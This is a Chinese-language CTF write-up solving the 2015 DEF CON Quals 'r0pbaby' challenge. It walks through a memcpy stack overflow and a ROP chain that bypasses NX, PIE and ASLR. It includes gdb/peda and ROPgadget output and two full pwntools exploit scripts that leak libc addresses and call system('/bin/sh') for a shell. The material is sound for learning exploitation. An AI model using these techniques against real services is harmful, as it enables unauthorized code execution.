2015-defcon-quals-r0pbaby解析
 
如何使用ROP来利用NX+PIE+ASLR栈溢出
0x00序
这是2015-defcon-quals的一道PWN题,也是一个比较简单的一个64bit的PWN题,自己不是很熟练也查了许多资料和文档,也走了很多弯路(有的地方考虑的太多了),花费了很多的时间才搞定它,现在分享给大家并做一个记录
题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/2015-defcon-quals-r0pbaby
0x01栈溢出
在linux下,使用readelf -h r0pbaby 查看文件的头信息
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# readelf -h ./r0pbaby
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xa60
Start of program headers: 64 (bytes into file)
Start of section headers: 8576 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 8
Size of section headers: 64 (bytes)
Number of section headers: 26
Section header string table index: 25
这是一个64位的程序,可以运行一下程序看看程序是干什么的
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# ./r0pbaby
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
选项3这个地方很可能有问题,使用IDA查看程序的代码,可以很明显的看出选项3这是一个栈溢出漏洞,漏洞的具体位置如下
.text:0000000000000E45 mov rdx, r12 ; n
.text:0000000000000E48 mov rsi, rbx ; src
.text:0000000000000E4B mov rdi, rbp ; dest
.text:0000000000000E4E call _memcpy
_memcpy这是一个很常见但是很危险的一个字符串拷贝函数,如果目的缓冲区大小小于要拷贝的大小就会造成溢出,下面来分析一下dest的大小
__int64 dest; // [sp+450h] [bp+0h]@22
它的大小是8个字节大小的局部变量,而src的大小最大可以接受1024个字节,由此可以造成栈溢出
0x02 ROP绕过NX+PIE
上面是静态和简单的运行,对程序有一个比较简单的了解,下面该使用调试器来动态分析这个漏洞
先介绍一下使用的工具gdb+peda插件
地址:https://github.com/longld/peda
还有ROPgadget
地址:https://github.com/JonathanSalwan/ROPgadget
首先关闭系统的ASLR方便调试,命令如下
echo 0 > /proc/sys/kernel/randomize_va_space
exit
还是来查看一下程序开启的安全机制
gdb-peda$ checksec
CANARY : disabled
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : disabled
开启了NX(不可执行)+PIE(Position Independnet Code位置无关代码)等安全防护
对于上面的这些机制绕过他们的办法就是ROP,下面就说一下ROP
ROP(返回导向编程)原理很简单就是利用(程序或依赖库)现有的代码去构造代码去执行你自己想要的功能,这里说着简单,但是要使用好这个技术还是需要很多知识和时间的
下面举一个简单例子:比如执行system(“/bin/sh”)这个函数启动一个shell
首先分析一下,我们要完成这一个代码的执行,需要一些gadget和一些字符串
1./bin/sh 字符串的地址
2.system 函数的地址
3.在64位系统下需要将第一个参数放入rdi寄存器中
注:32位的参数直接放到栈上就行,这是由于64位和32的函数传参规则导致的,64位优先使用寄存器,rdi,rsi,rdx,rcx,r8,r9 ,多余的参数才会入栈
对于上面的三个需求,我们一个一个来解决,
1.可以使用find 在程序内查找
2.gdb print 可以打印出system的地址(加载了libc)
3.使用ROPgadget 在程序或者依赖库中查找 pop rdi; ret 的gadget
然后我们可以将栈构造成如下:
返回地址-16 | …… |
返回地址-8 | …… |
返回地址 | &pop_rdi_gadget |
返回地址+8 | &”/bin/sh” |
返回地址+16 | &system_addr |
返回地址+24 | …… |
返回地址+32 | …… |
结合这个题,我们可以在libc中查找,先让程序运行起来,然后输入3,然后输入超过8个字符,程序会断下来,在使用peda的vmmap命令
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555556000 r-xp /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x0000555555755000 0x0000555555757000 rw-p /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x0000555555757000 0x0000555555778000 rw-p [heap]
0x00007ffff782f000 0x00007ffff79ce000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff79ce000 0x00007ffff7bce000 ---p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bce000 0x00007ffff7bd2000 r--p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd2000 0x00007ffff7bd4000 rw-p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd4000 0x00007ffff7bd8000 rw-p mapped
0x00007ffff7bd8000 0x00007ffff7bdb000 r-xp /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7bdb000 0x00007ffff7dda000 ---p /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7dda000 0x00007ffff7ddb000 r--p /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7ddb000 0x00007ffff7ddc000 rw-p /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007ffff7ddc000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fd0000 0x00007ffff7fd3000 rw-p mapped
0x00007ffff7ff5000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
然后使用seachmem “/bin/sh” /lib/x86_64-linux-gnu/libc-2.19.so 查找字符串
gdb-peda$ searchmem "/bin/sh" /lib/x86_64-linux-gnu/libc-2.19.so
Searching for '/bin/sh' in: /lib/x86_64-linux-gnu/libc-2.19.so ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7990160 --> 0x68732f6e69622f ('/bin/sh')
在0x7ffff7990160这个地址上找到一个,可以自己在验证一下防止工具出错
gdb-peda$ x/s 0x7ffff7990160
0x7ffff7990160: "/bin/sh"
使用print system 获取system地址
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff78704f0 <__libc_system>
查找pop rdi;ret
在程序中查找
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# ROPgadget --binary ./r0pbaby --only "pop|ret"|grep rdi
0x0000000000000eb1 : pop rdi ; pop rbp ; ret
0x0000000000000f23 : pop rdi ; ret
在libc中查找
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"|grep rdi
0x000000000001f6b2 : pop rdi ; pop rbp ; ret
0x0000000000022442 : pop rdi ; ret
这里有一个问题就是:ROPgadget 获取的地址没有基址只有偏移
我找到了解决办法:
1.cat /proc/pid/maps 或者使用vvmap(peda)查看
2.找到R-XP的段的基址
3.找到的基址加上+ROPgadget得到的偏移
通过上面得到这些gadget和数据,,使用pwntools可以写出如下exp
#filename: exp_off_aslr.py
#author:reshahar
from pwn import *
s = process('./r0pbaby')
def senddata(data):
s.recvuntil(': ')
s.sendline('3')
s.recvuntil('): ')
s.sendline(str(len(data)))
s.sendline(data)
#system(rdi="/bin/sh")
prdi = 0x0000555555554f23 #0x0000000000000f23 : pop rdi ; ret
binsh = 0x7ffff7990160 #/bin/sh
system = 0x7ffff78704f0 #system
playload = 'A'*8+p64(prdi)+p64(binsh)+p64(system)
print '###send playload###'
senddata(playload)
s.recvuntil(': Bad choice.')
s.interactive()
运行一下exp_off_aslr.py结果如下:
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# python exp_off_aslr.py
[+] Starting local process './r0pbaby': pid 10197
###send playload###
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$
运行成功,拿到shell
0X03 ROP绕过NX+PIE+ASLR
上面的exp可以拿到sehll,但是如果开启了ASLR,那么再运行一下之前的exp试试
开启ASLR
echo 2 > /proc/sys/kernel/randomize_va_space
exit
运行之前的exp
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# python exp_off_aslr.py
[+] Starting local process './r0pbaby': pid 10263
###send playload###
[*] Switching to interactive mode
[*] Process './r0pbaby' stopped with exit code -11 (SIGSEGV) (pid 10263)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
结果很明显,失败了,我们使用gdb调试一下,看看到底exp为什么执行失败了
这里使用attach的方式去调试,首先修改一下之前的exp加上一个输入,然程序暂停等待attach,
这样防止调试结果对我们的影响,然后运行之前的exp,在用另一个终端使用gdb attach pid 附加上去,在使用c继续执行,exp那边按任意键继续执行,可以看到程序断了下来
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554f23 in ?? ()
断在了0x0000555555554f23这个地址(之前找到的pop rdi;ret的地址),后面??说明这个地址没有内容,也就是说开启ASLR后,之前的地址发生了变化
我们使用vmmap 查看一下内存的加载情况
gdb-peda$ vmmap
Start End Perm Name
0x00007f2a4b9bb000 0x00007f2a4bb5a000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bb5a000 0x00007f2a4bd5a000 ---p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bd5a000 0x00007f2a4bd5e000 r--p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bd5e000 0x00007f2a4bd60000 rw-p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007f2a4bd60000 0x00007f2a4bd64000 rw-p mapped
0x00007f2a4bd64000 0x00007f2a4bd67000 r-xp /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bd67000 0x00007f2a4bf66000 ---p /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bf66000 0x00007f2a4bf67000 r--p /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bf67000 0x00007f2a4bf68000 rw-p /lib/x86_64-linux-gnu/libdl-2.19.so
0x00007f2a4bf68000 0x00007f2a4bf88000 r-xp /lib/x86_64-linux-gnu/ld-2.19.so
0x00007f2a4c188000 0x00007f2a4c189000 r--p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007f2a4c189000 0x00007f2a4c18a000 rw-p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007f2a4c18a000 0x00007f2a4c18b000 rw-p mapped
0x00007f2a4c18b000 0x00007f2a4c18d000 r-xp /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x00007f2a4c364000 0x00007f2a4c367000 rw-p mapped
0x00007f2a4c389000 0x00007f2a4c38c000 rw-p mapped
0x00007f2a4c38c000 0x00007f2a4c38e000 rw-p /root/D/stack overflow/2015-defcon-quals-r0pbaby/r0pbaby
0x00007f2a4db3d000 0x00007f2a4db5e000 rw-p [heap]
0x00007ffe9b03d000 0x00007ffe9b05e000 rw-p [stack]
0x00007ffe9b179000 0x00007ffe9b17b000 r--p [vvar]
0x00007ffe9b17b000 0x00007ffe9b17d000 r-xp [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
对比之前的可以看到不管是程序的地址,还是依赖库的地址都发生了变化,反复的调试,可以发现这些地址每次都在变
在这种情况下,我们绕过呢?
我们重新看程序的代码,可以发现程序可以获取libc的地址,就是第一个选项
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FC42F8C29B0
尝试了获取了一下libc的地址,但是发现并不对,开始以为是libc的某一个节的地址呢,后来发现也不太对,最后又看了一遍IDA的F5代码,才发现问题,这个地址,其实打开依赖库handle的值,也就是说他存储的值才是libc的地址,验证一下果然,然后就开始这种折腾,想通过write(1,handle,8),把这个值打印出来,然后得到这个值吗,就可以利用了。
有了上面的想法,就通过第二选项获取write地址,然后找gadget,构造ROP,最后写出了exp,但是想到获取了libc的基址,还要在输入,而将rip重定向到程序的地址中不行,因为程序的地址是随机化的,不能获取到确切的地址,在这就陷入了僵局
仔细思考了一下,发现自己走进了坑,上面调用write的时候,所有的gadget地址都是通过和write地址的偏移算出来的,就没有想到,直接将/bin/sh的地址,还有pop rdi的gadget 也转换成偏移,再直接调用system就直接拿shell了
想到这里直接改了exp,最终的exp如下:
#filename: exp_on_aslr.py
#author:reshahar
from pwn import *
#s = process('./r0pbaby')
s = remote('127.0.0.1',7777)
def getaddr(sym):
s.recvuntil(': ')
s.sendline('2')
s.recvuntil(': ')
s.sendline(sym)
s.recvuntil(': ')
data = s.recv(18)
return data
def senddata(data):
s.recvuntil(': ')
s.sendline('3')
s.recvuntil('): ')
s.sendline(str(len(data)))
s.sendline(data)
systemaddr = getaddr('system')
print "system addr "+systemaddr
systemaddr = int(systemaddr,16)
#system(rdi="/bin/sh")
off_prdi_of_system = 0x1F0AE #0x0000000000022442 : pop rdi ; ret system-prdi
off_binsh_of_system = 0x11FC70 #/bin/sh /bin/sh - system
playload = 'A'*8+p64(systemaddr-off_prdi_of_system)+p64(systemaddr+off_binsh_of_system)+p64(systemaddr)
print '###send playload###'
senddata(playload)
s.recvuntil(': Bad choice.')
s.interactive()
将程序使用socat绑定到7777端口:
socat tcp4-listen:7777,fork exec:./r0pbaby
运行结果如下:
root@kali:~/D/stack overflow/2015-defcon-quals-r0pbaby# python exp_on_aslr.py
[+] Opening connection to 127.0.0.1 on port 7777: Done
system addr 0x00007F0EF0D864F0
###send playload###
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$
绕过ASLR比较关键的就是,依赖库中相对地址是不变的,比如你可以获取到一个地址,这个地址在每次运行的时候,你都可以获取到,这样在通过偏移就可以计算出你需要地址的地址。
0X04总结
ROP是现在漏洞利用的基础,我需要继续找一些题来分析和学习,再学习一些其他的漏洞利用技术,而绕过ASLR比较关键的就是,依赖库中相对地址是不变的。
这题花费了挺多时间,但是都是花费在一些比较无用的地方,但是这同样让我受益匪浅,以后要换多种角度思考,不能局限在一个方面
0X05参考资料
[1]:https://www.secpulse.com/archives/32328.html 64位Linux栈溢出教程
[2]:http://blog.csdn.net/zat111/article/details/46738649 linux PIE 程序
[3]:http://drops.xmd5.com/static/drops/papers-7551.html 一步一步学ROP之linux_x64篇